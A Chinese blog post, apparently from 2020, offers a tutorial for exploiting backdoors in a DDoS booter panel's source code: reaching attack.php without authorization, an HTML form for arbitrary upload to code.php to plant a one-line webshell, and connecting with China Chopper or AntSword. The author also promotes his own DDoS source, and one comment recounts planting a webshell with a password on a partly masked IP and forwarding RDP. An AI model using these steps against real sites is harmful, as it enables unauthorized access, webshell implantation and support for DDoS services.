【原创首发】某DDOS页端源码后门利用教程

少羽.

3492
文章

92
评论

2020年3月10日19:03:19 90 14.1K 763字阅读2分32秒

前一段时间,发了一篇文章《对某DDOS页端源码的一次简单审计》

这篇文章很受欢迎但是很多人不会利用后门,我今天也就说一下后门利用方法手动滑稽哈哈哈

好了话不多说我们开始教程!

后台越权访问

我们前台注册

【原创首发】某DDOS页端源码后门利用教程

账号密码随便输入即可,很随便那种哈哈哈

然后登录,将URL改为

http(s)://目标站域名/后台地址/attack.php

然后就可以看到他的服务器/API

【原创首发】某DDOS页端源码后门利用教程

这个也是比较鸡肋的,我们需要知道后台地址.

任意文件上传

首先我们写一个html 如下

<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form action="http(s)://目标站域名/后台地址/code.php" method="post" enctype="multipart/form-data">
	<label for="file"></label>
	<input type="file" name="file" id="file">
	 <input type="submit" name="t" value="上传">
</form>
</body>
</html>

打开这个html如图
【原创首发】某DDOS页端源码后门利用教程

我们选择我们的一句话进行上传即可上传后一句话在

http(s)://目标站域名/后台地址/admin/上传的文件名

菜刀直连后门

这里我们打开中国蚁剑/中国菜刀

【原创首发】某DDOS页端源码后门利用教程

添加数据输入

此处为隐藏的内容！

发表评论并刷新，方可查看

发表评论

全文至此,需要帮忙审计其他源码的可以评论联系我哦!

推荐一下我的DDOS源码(由此源码演变而来) 获取地址《路人DDOS源码》

本文由少羽. 发表于 2020年3月10日19:03:19
除非特殊声明，本站文章均为原创，转载请务必保留本文链接

评论已关闭！

评论：90 其中：访客 90 博主 0

少羽.
2020年3月10日下午7:03 1F

转载请保留本文版权!谢谢
无心 3
2020年3月10日下午7:06 2F

少羽牛逼
怀念 1
2020年3月10日下午7:28 3F

看看
心弦 0
2020年3月10日下午8:32 4F

卧槽牛逼
2057039348 0
2020年3月10日下午9:14 5F

6批
俺 0
2020年3月10日下午9:24 6F

烧鱼牛逼
长安 0
2020年3月10日下午10:30 7F

转载请保留本文版权!谢谢
浅笑 0
2020年3月11日下午7:22 8F

666,我就不保留啊
弄清影 1
2020年3月11日下午9:35 9F

看看
腾讯视频 3
2020年3月12日下午10:00 10F

看看
test 0
2020年3月13日上午12:27 11F

。。。嗯嗯
55555好 1
2020年3月13日上午4:10 12F

55555好
Mr. Tang 1
2020年3月13日上午9:47 13F

牛逼
username 0
2020年3月13日上午10:35 14F

酷酷酷
2857659587 0
2020年3月14日下午1:44 15F

。。。。。。。。。。。？铭文
Testing 0
2020年3月14日下午5:58 16F

www.fklr.design,有效时间为
jinshao 1
2020年3月16日下午3:50 17F

急急急
jinshao 1
2020年3月16日下午3:51 18F

牛逼
111 0
2020年3月16日下午9:52 19F

少羽牛逼
aゞ壁纸库·念拥|mz+ 1
2020年3月18日上午2:26 20F

6666牛逼了，
您的 0
2020年3月18日下午10:28 21F

你中
mclk 1
2020年3月19日下午9:47 22F

牛
hfghfghf 0
2020年3月19日下午10:50 23F

66666666666666666hh哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
nsnsnns 0
2020年3月20日下午10:11 24F

123那些年息怒息怒
免得 0
2020年3月20日下午10:12 25F

你是男是女你说你是
21515 1
2020年3月22日下午5:40 26F

打打打打发
戴维斯 1
2020年3月23日下午8:32 27F

刘辟！！！
AOSOUL 0
2020年3月28日下午3:02 28F

少羽大佬牛逼
感谢楼主分享 3
2020年3月30日下午5:31 29F

感谢楼主分享
chujian 1
2020年3月31日上午8:07 30F

转载请保留本文版权!谢谢
麦兜兜 0
2020年4月3日上午11:05 31F

看看看
1623378666 0
2020年4月6日上午8:24 32F

66牛逼
忧郁寒星 1
2020年4月6日上午10:42 33F

1哈哈哈
泽宇 1
2020年4月7日下午12:08 34F

转载请保留本文版权!谢谢
逸轩 1
2020年4月9日下午5:38 35F

牛皮
nb 1
2020年4月10日上午11:14 36F

大佬牛逼
6666 3
2020年4月10日下午11:19 37F

666666牛逼
牛逼 3
2020年4月10日下午11:22 38F

牛逼666
拉几个 0
2020年4月15日上午10:34 39F

装牛股回来哦明就会
防沉迷的小学生 1
2020年4月17日下午8:08 40F

厉害
tmkmaj 2
2020年4月20日上午7:26 41F

牛逼牛逼牛逼
狗熊 1
2020年4月20日上午10:56 42F

牛批！我说怎么我的API老被偷呢
2268849061 1
2020年4月20日下午8:29 43F

找到你了
？ 0
2020年4月20日下午10:05 44F

看看
2581999888 1
2020年4月22日下午6:00 45F

牛6
88888 1
2020年4月25日上午10:29 46F

这是啥源码
逸轩 1
2020年4月27日下午1:53 47F

没看过上篇内容的来这里:#【技术分享】某监管系统存在漏洞演示【上篇】#
OK开始教程，，，，，，

上次已经getshell了
接下来我们先访问测试【图一】
部署一个菜刀马：http://211.xx.8.90:8888/aqcs/test00.jsp 密码：Atest@123_ok【网址不公布】【图二】
相关信息【图三】
添加测试帐号test612:【图四】【这里就不放了，之前在电脑上忘记保存了】
开始远程连接【图五】
成功，3389转发成功【图六】【图七】
结束
逸轩 1
2020年4月27日下午1:54 48F

少羽牛批
66666 0
2020年5月1日上午2:25 49F

66666nb牛逼
你的明明呐 1
2020年5月13日下午10:15 50F

666其实完全
Goyin 1
2020年5月15日下午11:54 51F

少羽牛逼
1 0
2020年5月30日下午10:43 52F

qtgawegawegafaffdaaeg安抚
风柠 0
2020年5月30日下午10:44 53F

呃呃呃额额
rrrr 1
2020年6月2日上午8:36 54F

牛批很好
478890162 1
2020年6月4日上午12:24 55F

看看
4196 1
2020年6月6日上午5:26 56F

枯
zeyudada 2
2020年6月18日上午11:46 57F

好牛逼的样子
. 2
2020年7月4日下午1:29 58F

6666牛逼
明盛老公. 1
2020年7月12日上午11:59 59F

66666666牛逼
CatYoo 1
2020年7月14日下午8:43 60F

看看
admmin 1
2020年7月15日上午8:45 61F

66666666看看怎么样
China小栋 1
2020年7月18日下午3:42 62F

嘤嘤嘤
你若安好那还得了 0
2020年7月23日上午3:02 63F

支持一下，大佬
517445611 1
2020年7月24日上午9:02 64F

看看
2901570356 1
2020年7月27日下午7:16 65F

666少于牛逼
啊实打实 2
2020年7月30日上午11:11 66F

哈哈哈
大结局大家 1
2020年8月6日下午9:55 67F

都到货好想你想你想你
诉不清 1
2020年8月7日下午5:10 68F

看看，应该还不错
诉不清 1
2020年8月7日下午5:12 69F

看看，应该不错吧
qq2955006988 1
2020年8月9日下午10:33 70F

飞洒发嘎斯
九欲. 1
2020年8月11日下午3:45 71F

牛逼
79429960 1
2020年8月13日下午5:56 72F

看看看看
风飞... 2
2020年8月15日下午10:14 73F

阿斯达所大所大
゛伱站在我望不到的位置ゝ 1
2020年8月19日上午11:43 74F

从v查德威v从
情商 0
2020年8月19日下午11:23 75F

不错哦
10PLAY-001商务客服 0
2020年8月28日上午12:20 76F

大家都好都好还是打扮打扮大宝贝
firenet 0
2020年9月2日上午4:22 77F

1撒旦
你挺能闹 1
2020年9月10日上午8:10 78F

66666我看看是不是真的
星落. 3
2020年9月10日下午6:03 79F

评论看看
aa934510103 2
2020年9月13日上午1:54 80F

看看哦
32pno04l 2
2020年9月13日下午4:25 81F

看看
是tmkmaj 2
2020年9月25日下午9:41 82F

烧鱼牛逼
TLSteve 1
2020年9月28日上午12:38 83F

看看喽. .真的nb啊
小久九 0
2020年10月1日上午9:43 84F

一群憨批的在瞎搞事。
好人。 2
2020年10月6日下午5:19 85F

牛逼
锦少 0
2020年10月11日下午9:35 86F

5755585好吃的饭
admin 0
2020年10月31日下午1:21 87F

6666支付
大陆年轻人 0
2020年11月8日下午2:07 88F

这个很可以
ssvdSAD 0
2020年11月15日下午9:02 89F

wfeWed二道区
qq202107321 1
2020年11月17日上午11:34 90F

转载请保留本文版权!谢谢

【原创首发】某DDOS页端源码后门利用教程

后台越权访问

任意文件上传

菜刀直连后门

微信

在线咨询

后台越权访问

任意文件上传

菜刀直连后门

您可以选择一种方式赞助本站

支付宝扫一扫赞助

微信钱包扫描赞助

登录

微信

在线咨询

分享海报